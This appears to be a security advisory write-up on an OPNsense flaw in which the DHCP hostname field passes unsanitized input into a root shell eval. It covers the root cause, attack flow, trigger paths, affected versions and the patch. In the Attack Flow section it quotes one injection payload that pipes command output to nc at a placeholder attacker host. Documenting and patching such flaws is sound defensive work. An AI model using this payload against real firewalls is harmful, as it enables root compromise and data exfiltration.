Introduction
A single unsanitized hostname field in OPNsense's DHCP configuration lets any authenticated user with interface privileges run arbitrary commands as root on the underlying FreeBSD operating system. It carries a CVSS score of 9.1, and exploit code is already public. For any environment that relies on OPNsense as its perimeter firewall, CVE-2026-45158 is a direct path from a web form to root.
OPNsense is a FreeBSD based open source firewall and routing platform, forked from pfSense in 2015 and sponsored by Deciso BV in the Netherlands. It is deployed across Europe in thousands of small and medium business networks, datacentres, and government environments, as a sovereign and cost conscious alternative to commercial appliances from Cisco, Fortinet, Sophos, and Palo Alto.
Technical Information
Root Cause: Unsanitized Input in Shell Context
The vulnerability lives in src/etc/inc/interfaces.inc, in the interface_dhcp_configure function. The OPNsense Web UI lets users who hold page-interfaces privileges enable and configure network interfaces. When an interface runs DHCP on IPv4, the application exposes a hostname field.
Whatever you type into that hostname field is written straight into /var/etc/dhclient.<device>.conf with no sanitization at all. That is where the flaw turns critical. The configuration file is not a pure data file. It supports parameters such as media that are later passed to shell scripts as environment variables.
Attack Flow
The exploitation path runs in order:
-
An attacker with
page-interfacesprivileges in the OPNsense Web UI opens the interface configuration page and enables DHCP on an IPv4 interface. -
In the hostname field, the attacker enters a crafted payload that breaks out of the standard configuration statement and injects a
mediaparameter carrying shell commands. The example payload from the security advisory is:
test"; media "aa; id | nc <attacker-ip> <attacker-port>"; } /*
-
This payload is written verbatim into
/var/etc/dhclient.<device>.conf, so the configuration file now includes the injectedmediaparameter. -
Before the operating system sends DHCPDISCOVER requests, the
dhclientutility invokes the/usr/local/opnsense/scripts/interfaces/dhclient-scriptshell script. -
The shell script feeds the
mediavalue to theifconfigcommand inside anevalstatement, again without any sanitization. -
The injected command runs in the shell context with root privileges.
Trigger Conditions
There are two separate trigger paths, which is what makes this one worth watching:
Immediate trigger: The payload runs as soon as the user clicks "Apply" in the UI, which reconfigures the DHCP client.
Delayed trigger: If the configuration is saved but not applied right away, the payload runs during the next DHCP lease renewal or system reboot. An attacker can plant the payload and disconnect, knowing it will fire on the next natural renewal cycle.
Vulnerability Classification
The flaw is classified under CWE-88 (Improper Neutralization of Argument Delimiters in a Command, commonly known as argument injection). User controlled data flows from a web form into a configuration file and then into a shell eval statement, with no boundary enforcement or input validation at any stage.
Affected Systems and Versions
All OPNsense versions up to and including 26.1.7 are affected. This covers both the Community Edition and the Business Edition.
| Product Edition | Vulnerable Versions | Primary Fix Version | Required Hotfix |
|---|---|---|---|
| OPNsense Community Edition | 26.1.7 and older | 26.1.8 | 26.1.8_5 |
| OPNsense Business Edition | 26.1.7 and older | 26.1.8 | 26.1.8_5 |
Get to at least version 26.1.8_5, which includes the follow up sanitization of DHCPv4 settings. Check the current version from the command line:
opnsense-version
To apply the update:
opnsense-update -vkr 26.1.8
After updating, force a DHCP lease renewal or reboot the appliance to flush any latent payloads waiting on a renewal trigger. Audit user accounts too, and restrict page-interfaces privileges to essential personnel only.
Vendor Security History
The OPNsense team moved fast in May 2026. Version 26.1.8 shipped on May 12, 2026, patching two critical remote code execution flaws within seven days. After the initial release, the vendor issued hotfix 26.1.8_5 to add further safeguards and sanitize DHCPv4 settings. Shipping a fix and then hardening it with a follow up hotfix is defense in depth in practice.
